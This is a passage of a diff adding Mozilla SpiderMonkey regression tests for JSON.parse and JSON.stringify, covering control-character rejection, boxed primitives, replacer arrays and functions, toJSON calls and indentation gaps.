+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 458959;
+var summary = 'this.JSON should not be enumerable';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i in this)
+ {
+ if (i.toString() == 'JSON')
+ actual = i;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/JSON/regress-459293.js b/js/src/tests/non262/JSON/regress-459293.js
new file mode 100644
index 0000000000..fbd46589ca
--- /dev/null
+++ b/js/src/tests/non262/JSON/regress-459293.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459293;
+var summary = 'Allow redeclaration of JSON';
+var actual = '';
+var expect = '';
+
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('var JSON = "foo";');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/JSON/shell.js b/js/src/tests/non262/JSON/shell.js
new file mode 100644
index 0000000000..00f3243dac
--- /dev/null
+++ b/js/src/tests/non262/JSON/shell.js
@@ -0,0 +1,110 @@
+function testJSON(str, expectSyntaxError)
+{
+ // Leading and trailing whitespace never affect parsing, so test the string
+ // multiple times with and without whitespace around it as it's easy and can
+ // potentially detect bugs.
+
+ // Try the provided string
+ try
+ {
+ JSON.parse(str);
+ reportCompare(false, expectSyntaxError,
+ "string <" + str + "> " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON");
+ }
+ catch (e)
+ {
+ if (!(e instanceof SyntaxError))
+ {
+ reportCompare(true, false,
+ "parsing string <" + str + "> threw a non-SyntaxError " +
+ "exception: " + e);
+ }
+ else
+ {
+ reportCompare(true, expectSyntaxError,
+ "string <" + str + "> " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON, exception: " + e);
+ }
+ }
+
+ // Now try the provided string with trailing whitespace
+ try
+ {
+ JSON.parse(str + " ");
+ reportCompare(false, expectSyntaxError,
+ "string <" + str + " > " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON");
+ }
+ catch (e)
+ {
+ if (!(e instanceof SyntaxError))
+ {
+ reportCompare(true, false,
+ "parsing string <" + str + " > threw a non-SyntaxError " +
+ "exception: " + e);
+ }
+ else
+ {
+ reportCompare(true, expectSyntaxError,
+ "string <" + str + " > " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON, exception: " + e);
+ }
+ }
+
+ // Now try the provided string with leading whitespace
+ try
+ {
+ JSON.parse(" " + str);
+ reportCompare(false, expectSyntaxError,
+ "string < " + str + "> " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON");
+ }
+ catch (e)
+ {
+ if (!(e instanceof SyntaxError))
+ {
+ reportCompare(true, false,
+ "parsing string < " + str + "> threw a non-SyntaxError " +
+ "exception: " + e);
+ }
+ else
+ {
+ reportCompare(true, expectSyntaxError,
+ "string < " + str + "> " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON, exception: " + e);
+ }
+ }
+
+ // Now try the provided string with whitespace surrounding it
+ try
+ {
+ JSON.parse(" " + str + " ");
+ reportCompare(false, expectSyntaxError,
+ "string < " + str + " > " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON");
+ }
+ catch (e)
+ {
+ if (!(e instanceof SyntaxError))
+ {
+ reportCompare(true, false,
+ "parsing string < " + str + " > threw a non-SyntaxError " +
+ "exception: " + e);
+ }
+ else
+ {
+ reportCompare(true, expectSyntaxError,
+ "string < " + str + " > " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON, exception: " + e);
+ }
+ }
+}
diff --git a/js/src/tests/non262/JSON/small-codepoints.js b/js/src/tests/non262/JSON/small-codepoints.js
new file mode 100644
index 0000000000..6afa5f8ce8
--- /dev/null
+++ b/js/src/tests/non262/JSON/small-codepoints.js
@@ -0,0 +1,16 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'small-codepoints.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 554079;
+var summary = 'JSON.parse should reject U+0000 through U+001F';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (var i = 0; i <= 0x1F; i++)
+ testJSON('["a' + String.fromCharCode(i) + 'c"]', true);
diff --git a/js/src/tests/non262/JSON/stringify-boxed-primitives.js b/js/src/tests/non262/JSON/stringify-boxed-primitives.js
new file mode 100644
index 0000000000..0769c2ec6f
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-boxed-primitives.js
@@ -0,0 +1,127 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-boxed-primitives.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "Stringification of Boolean/String/Number objects";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function redefine(obj, prop, fun)
+{
+ var desc =
+ { value: fun, writable: true, configurable: true, enumerable: false };
+ Object.defineProperty(obj, prop, desc);
+}
+
+assertEq(JSON.stringify(new Boolean(false)), "false");
+
+assertEq(JSON.stringify(new Number(5)), "5");
+
+assertEq(JSON.stringify(new String("foopy")), '"foopy"');
+
+
+var numToString = Number.prototype.toString;
+var numValueOf = Number.prototype.valueOf;
+var objToString = Object.prototype.toString;
+var objValueOf = Object.prototype.valueOf;
+var boolToString = Boolean.prototype.toString;
+var boolValueOf = Boolean.prototype.valueOf;
+
+redefine(Boolean.prototype, "toString", function() { return 17; });
+assertEq(JSON.stringify(new Boolean(false)), "false")
+delete Boolean.prototype.toString;
+assertEq(JSON.stringify(new Boolean(false)), "false");
+delete Object.prototype.toString;
+assertEq(JSON.stringify(new Boolean(false)), "false");
+delete Boolean.prototype.valueOf;
+assertEq(JSON.stringify(new Boolean(false)), "false");
+delete Object.prototype.valueOf;
+assertEq(JSON.stringify(new Boolean(false)), "false");
+
+
+redefine(Boolean.prototype, "toString", boolToString);
+redefine(Boolean.prototype, "valueOf", boolValueOf);
+redefine(Object.prototype, "toString", objToString);
+redefine(Object.prototype, "valueOf", objValueOf);
+
+redefine(Number.prototype, "toString", function() { return 42; });
+assertEq(JSON.stringify(new Number(5)), "5");
+redefine(Number.prototype, "valueOf", function() { return 17; });
+assertEq(JSON.stringify(new Number(5)), "17");
+delete Number.prototype.toString;
+assertEq(JSON.stringify(new Number(5)), "17");
+delete Number.prototype.valueOf;
+assertEq(JSON.stringify(new Number(5)), "null"); // isNaN(Number("[object Number]"))
+delete Object.prototype.toString;
+try
+{
+ JSON.stringify(new Number(5));
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToNumber failure, should throw TypeError");
+}
+delete Object.prototype.valueOf;
+try
+{
+ JSON.stringify(new Number(5));
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToNumber failure, should throw TypeError");
+}
+
+
+redefine(Number.prototype, "toString", numToString);
+redefine(Number.prototype, "valueOf", numValueOf);
+redefine(Object.prototype, "toString", objToString);
+redefine(Object.prototype, "valueOf", objValueOf);
+
+
+redefine(String.prototype, "valueOf", function() { return 17; });
+assertEq(JSON.stringify(new String(5)), '"5"');
+redefine(String.prototype, "toString", function() { return 42; });
+assertEq(JSON.stringify(new String(5)), '"42"');
+delete String.prototype.toString;
+assertEq(JSON.stringify(new String(5)), '"[object String]"');
+delete Object.prototype.toString;
+assertEq(JSON.stringify(new String(5)), '"17"');
+delete String.prototype.valueOf;
+try
+{
+ JSON.stringify(new String(5));
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToString failure, should throw TypeError");
+}
+delete Object.prototype.valueOf;
+try
+{
+ JSON.stringify(new String(5));
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToString failure, should throw TypeError");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/JSON/stringify-call-replacer-once.js b/js/src/tests/non262/JSON/stringify-call-replacer-once.js
new file mode 100644
index 0000000000..34e549b6e6
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-call-replacer-once.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-call-replacer-once.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "Call replacer function exactly once per value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var factor = 1;
+function replacer(k, v)
+{
+ if (k === "")
+ return v;
+
+ return v * ++factor;
+}
+
+var obj = { a: 1, b: 2, c: 3 };
+
+assertEq(JSON.stringify(obj, replacer), '{"a":2,"b":6,"c":12}');
+assertEq(factor, 4);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-call-toJSON-once.js b/js/src/tests/non262/JSON/stringify-call-toJSON-once.js
new file mode 100644
index 0000000000..23917975d9
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-call-toJSON-once.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-call-toJSON-once.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "Stringification of Boolean/String/Number objects";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj =
+ {
+ p: {
+ toJSON: function()
+ {
+ return { toJSON: function() { return 17; } };
+ }
+ }
+ };
+
+assertEq(JSON.stringify(obj), '{"p":{}}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-dropping-elements.js b/js/src/tests/non262/JSON/stringify-dropping-elements.js
new file mode 100644
index 0000000000..58838e10d1
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-dropping-elements.js
@@ -0,0 +1,20 @@
+assertEq(JSON.stringify({foo: 123}),
+ '{"foo":123}');
+assertEq(JSON.stringify({foo: 123, bar: function () {}}),
+ '{"foo":123}');
+assertEq(JSON.stringify({foo: 123, bar: function () {}, baz: 123}),
+ '{"foo":123,"baz":123}');
+
+assertEq(JSON.stringify([123]),
+ '[123]');
+assertEq(JSON.stringify([123, function () {}]),
+ '[123,null]');
+assertEq(JSON.stringify([123, function () {}, 456]),
+ '[123,null,456]');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-gap.js b/js/src/tests/non262/JSON/stringify-gap.js
new file mode 100644
index 0000000000..8480b4b3ee
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-gap.js
@@ -0,0 +1,61 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-gap.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary =
+ "JSON.stringify(_1, _2, numberGreaterThanOne) produces wrong output";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var LF = "\n";
+var GAP = " ";
+
+var obj = { a: { b: [1, 2], c: { d: 3, e: 4 }, f: [], g: {}, h: [5], i: { j: 6 } } };
+
+var expected =
+ '{\n' +
+ ' "a": {\n' +
+ ' "b": [\n' +
+ ' 1,\n' +
+ ' 2\n' +
+ ' ],\n' +
+ ' "c": {\n' +
+ ' "d": 3,\n' +
+ ' "e": 4\n' +
+ ' },\n' +
+ ' "f": [],\n' +
+ ' "g": {},\n' +
+ ' "h": [\n' +
+ ' 5\n' +
+ ' ],\n' +
+ ' "i": {\n' +
+ ' "j": 6\n' +
+ ' }\n' +
+ ' }\n' +
+ '}';
+
+assertEq(JSON.stringify(obj, null, 3), expected);
+assertEq(JSON.stringify(obj, null, " "), expected);
+
+obj = [1, 2, 3];
+
+String.prototype.toString = function() { return "--"; };
+
+assertEq(JSON.stringify(obj, null, new String(" ")), "[\n--1,\n--2,\n--3\n]");
+
+Number.prototype.valueOf = function() { return 0; };
+
+assertEq(JSON.stringify(obj, null, new Number(3)), "[1,2,3]");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/JSON/stringify-ignore-noncallable-toJSON.js b/js/src/tests/non262/JSON/stringify-ignore-noncallable-toJSON.js
new file mode 100644
index 0000000000..e4ce0ce945
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-ignore-noncallable-toJSON.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-ignore-noncallable-toJSON.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "If the toJSON property isn't callable, don't try to call it";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj =
+ {
+ p: { toJSON: null },
+ m: { toJSON: {} }
+ };
+
+assertEq(JSON.stringify(obj), '{"p":{"toJSON":null},"m":{"toJSON":{}}}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-large-replacer-array.js b/js/src/tests/non262/JSON/stringify-large-replacer-array.js
new file mode 100644
index 0000000000..28180b4bf1
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-large-replacer-array.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-large-replacer-array.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 816033;
+var summary = "JSON.stringify with a large replacer array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var replacer = [];
+for (var i = 0; i < 4096; i++)
+ replacer.push(i);
+
+assertEq(JSON.stringify({ "foopy": "FAIL", "4093": 17 }, replacer), '{"4093":17}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-missing-arguments.js b/js/src/tests/non262/JSON/stringify-missing-arguments.js
new file mode 100644
index 0000000000..18ca608357
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-missing-arguments.js
@@ -0,0 +1,22 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-missing-arguments.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary = "JSON.stringify with no arguments";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(JSON.stringify(), undefined);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/JSON/stringify-nonarray-noncallable-replacer.js b/js/src/tests/non262/JSON/stringify-nonarray-noncallable-replacer.js
new file mode 100644
index 0000000000..440fbc0aae
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-nonarray-noncallable-replacer.js
@@ -0,0 +1,41 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-nonarray-noncallable-replacer.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 653782;
+var summary =
+ "Treat non-array, non-callable replacers as if none had been specified";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj = { p: 2 };
+var str = '{"p":2}';
+
+assertEq(JSON.stringify(obj), str);
+assertEq(JSON.stringify(obj, ["p"]), str);
+assertEq(JSON.stringify(obj, null), str);
+assertEq(JSON.stringify(obj, undefined), str);
+assertEq(JSON.stringify(obj, 2), str);
+assertEq(JSON.stringify(obj, Math.PI), str);
+assertEq(JSON.stringify(obj, NaN), str);
+assertEq(JSON.stringify(obj, true), str);
+assertEq(JSON.stringify(obj, false), str);
+assertEq(JSON.stringify(obj, Infinity), str);
+assertEq(JSON.stringify(obj, "foopy"), str);
+assertEq(JSON.stringify(obj, {}), str);
+assertEq(JSON.stringify(obj, /abcd/), str);
+assertEq(JSON.stringify(obj, new Boolean(true)), str);
+assertEq(JSON.stringify(obj, new Number(42)), str);
+assertEq(JSON.stringify(obj, new String("aequorin")), str);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-primitives.js b/js/src/tests/non262/JSON/stringify-primitives.js
new file mode 100644
index 0000000000..3f48638b8b
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-primitives.js
@@ -0,0 +1,39 @@
+// sanity
+var x = JSON.stringify({});
+assertEq(x, "{}");
+
+// booleans and null
+x = JSON.stringify(true);
+assertEq(x, "true");
+
+x = JSON.stringify(false);
+assertEq(x, "false");
+
+x = JSON.stringify(new Boolean(false));
+assertEq(x, "false");
+
+x = JSON.stringify(null);
+assertEq(x, "null");
+
+x = JSON.stringify(1234);
+assertEq(x, "1234");
+
+x = JSON.stringify(new Number(1234));
+assertEq(x, "1234");
+
+x = JSON.stringify("asdf");
+assertEq(x, '"asdf"');
+
+x = JSON.stringify(new String("asdf"));
+assertEq(x, '"asdf"');
+
+assertEq(JSON.stringify(undefined), undefined);
+assertEq(JSON.stringify(function(){}), undefined);
+assertEq(JSON.stringify(JSON.stringify), undefined);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-array-boxed-elements.js b/js/src/tests/non262/JSON/stringify-replacer-array-boxed-elements.js
new file mode 100644
index 0000000000..561f7009c7
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-array-boxed-elements.js
@@ -0,0 +1,60 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-boxed-elements.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary = "Boxed-string/number objects in replacer arrays";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var S = new String(3);
+var N = new Number(4);
+
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [S]),
+ '{"3":3}');
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [N]),
+ '{"4":4}');
+
+Number.prototype.toString = function() { return 3; };
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [N]),
+ '{"3":3}');
+
+String.prototype.toString = function() { return 4; };
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [S]),
+ '{"4":4}');
+
+Number.prototype.toString = function() { return new String(42); };
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [N]),
+ '{"4":4}');
+
+String.prototype.toString = function() { return new Number(17); };
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [S]),
+ '{"3":3}');
+
+Number.prototype.toString = null;
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [N]),
+ '{"4":4}');
+
+String.prototype.toString = null;
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [S]),
+ '{"3":3}');
+
+Number.prototype.valueOf = function() { return 17; };
+assertEq(JSON.stringify({ 4: 4, 17: 17 }, [N]),
+ '{"17":17}');
+
+String.prototype.valueOf = function() { return 42; };
+assertEq(JSON.stringify({ 3: 3, 42: 42 }, [S]),
+ '{"42":42}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-array-duplicated-element.js b/js/src/tests/non262/JSON/stringify-replacer-array-duplicated-element.js
new file mode 100644
index 0000000000..69192e6cae
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-array-duplicated-element.js
@@ -0,0 +1,69 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-hijinks.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary =
+ "Better/more correct handling for replacer arrays with getter array index " +
+ "properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var bigOdd = Math.pow(2, 50) + 1;
+
+function two()
+{
+ return Math.random() < 0.5 ? 2 : "2";
+}
+
+assertEq(JSON.stringify({ 1: 1 }, [1, 1]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [1, "1"]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [1, bigOdd % two()]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", 1]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", "1"]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", bigOdd % two()]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), 1]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), "1"]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), bigOdd % two()]), '{"1":1}');
+
+
+assertEq(JSON.stringify({ 1: 1 }, [1, new String(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [1, new Number(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", new Number(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", new String(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), new Number(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), new String(1)]), '{"1":1}');
+
+
+assertEq(JSON.stringify({ 1: 1 }, [new String(1), new String(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [new String(1), new Number(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [new Number(1), new String(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [new Number(1), new Number(1)]), '{"1":1}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-array-edgecase-jsid-elements.js b/js/src/tests/non262/JSON/stringify-replacer-array-edgecase-jsid-elements.js
new file mode 100644
index 0000000000..e7be4c6e11
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-array-edgecase-jsid-elements.js
@@ -0,0 +1,77 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-edgecase-jsid-elements.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary =
+ "Better/more correct handling for replacer arrays with getter array index " +
+ "properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/* JSID_INT_MIN/MAX copied from jsapi.h. */
+
+var obj =
+ {
+ /* [JSID_INT_MIN - 1, JSID_INT_MIN + 1] */
+ "-1073741825": -1073741825,
+ "-1073741824": -1073741824,
+ "-1073741823": -1073741823,
+
+ "-2.5": -2.5,
+ "-1": -1,
+
+ 0: 0,
+
+ 1: 1,
+ 2.5: 2.5,
+
+ /* [JSID_INT_MAX - 1, JSID_INT_MAX + 1] */
+ 1073741822: 1073741822,
+ 1073741823: 1073741823,
+ 1073741824: 1073741824,
+ };
+
+for (var s in obj)
+{
+ var n = obj[s];
+ assertEq(+s, n);
+ assertEq(JSON.stringify(obj, [n]),
+ '{"' + s + '":' + n + '}',
+ "Failed to stringify numeric property " + n + "correctly");
+ assertEq(JSON.stringify(obj, [s]),
+ '{"' + s + '":' + n + '}',
+ "Failed to stringify string property " + n + "correctly");
+ assertEq(JSON.stringify(obj, [s, ]),
+ '{"' + s + '":' + n + '}',
+ "Failed to stringify string then number properties ('" + s + "', " + n + ") correctly");
+ assertEq(JSON.stringify(obj, [n, s]),
+ '{"' + s + '":' + n + '}',
+ "Failed to stringify number then string properties (" + n + ", '" + s + "') correctly");
+}
+
+// -0 is tricky, because ToString(-0) === "0", so test it specially.
+assertEq(JSON.stringify({ "-0": 17, 0: 42 }, [-0]),
+ '{"0":42}',
+ "Failed to stringify numeric property -0 correctly");
+assertEq(JSON.stringify({ "-0": 17, 0: 42 }, ["-0"]),
+ '{"-0":17}',
+ "Failed to stringify string property -0 correctly");
+assertEq(JSON.stringify({ "-0": 17, 0: 42 }, ["-0", -0]),
+ '{"-0":17,"0":42}',
+ "Failed to stringify string then number properties ('-0', -0) correctly");
+assertEq(JSON.stringify({ "-0": 17, 0: 42 }, [-0, "-0"]),
+ '{"0":42,"-0":17}',
+ "Failed to stringify number then string properties (-0, '-0) correctly");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-array-hijinks.js b/js/src/tests/non262/JSON/stringify-replacer-array-hijinks.js
new file mode 100644
index 0000000000..60c949a5f1
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-array-hijinks.js
@@ -0,0 +1,59 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-hijinks.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary =
+ "Better/more correct handling for replacer arrays with getter array index " +
+ "properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var replacer = [0, 1, 2, 3];
+Object.prototype[3] = 3;
+Object.defineProperty(replacer, 1, {
+ get: function()
+ {
+ Object.defineProperty(replacer, 4, { value: 4 });
+ delete replacer[2];
+ delete replacer[3];
+ replacer[5] = 5;
+ return 1;
+ }
+});
+
+var s =
+ JSON.stringify({0: { 1: { 3: { 4: { 5: { 2: "omitted" } } } } } }, replacer);
+
+// The replacer array's length is as seen on first query, so property names are
+// accumulated for indexes i ∈ {0, 1, 2, 3}, but index 1 deletes 2 and 3, so 2
+// isn't seen but 3 is seen as Object.prototype[3].
+assertEq('{"0":{"1":{"3":{"3":3}},"3":3},"3":3}', s);
+
+
+var replacer = [0, 1, 2, 3];
+Object.defineProperty(replacer, 0, {
+ get: function()
+ {
+ replacer.length = 0;
+ return {};
+ }
+});
+
+// The replacer.length truncation means only properties on the prototype chain
+// shine through, but it doesn't affect the original bounds of the iteration
+// used to determine property names which will be included in the final string.
+assertEq(JSON.stringify({ 0: 0, 1: 1, 2: 2, 3: 3 }, replacer),
+ '{"3":3}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-replacer-array-skipped-element.js b/js/src/tests/non262/JSON/stringify-replacer-array-skipped-element.js
new file mode 100644
index 0000000000..6297c3a5bf
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-replacer-array-skipped-element.js
@@ -0,0 +1,62 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-skipped-element.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary =
+ "Better/more correct handling for replacer arrays with getter array index " +
+ "properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(JSON.stringify({ 3: 3, 4: 4 },
+ ["3", { toString: function() { return "4" } }]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, true: 4 }, ["3", true]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, true: 4 }, ["3", "true", true]),
+ '{"3":3,"true":4}');
+
+assertEq(JSON.stringify({ 3: 3, true: 4 }, ["3", true, "true"]),
+ '{"3":3,"true":4}');
+
+assertEq(JSON.stringify({ 3: 3, false: 4 }, ["3", false]),
+ '{"3":3}');
+
+assertEq(JSON.stringify({ 3: 3, false: 4 }, ["3", "false", false]),
+ '{"3":3,"false":4}');
+
+assertEq(JSON.stringify({ 3: 3, false: 4 }, ["3", false, "false"]),
+ '{"3":3,"false":4}');
+
+assertEq(JSON.stringify({ 3: 3, undefined: 4 }, ["3", undefined]),
+ '{"3":3}');
+
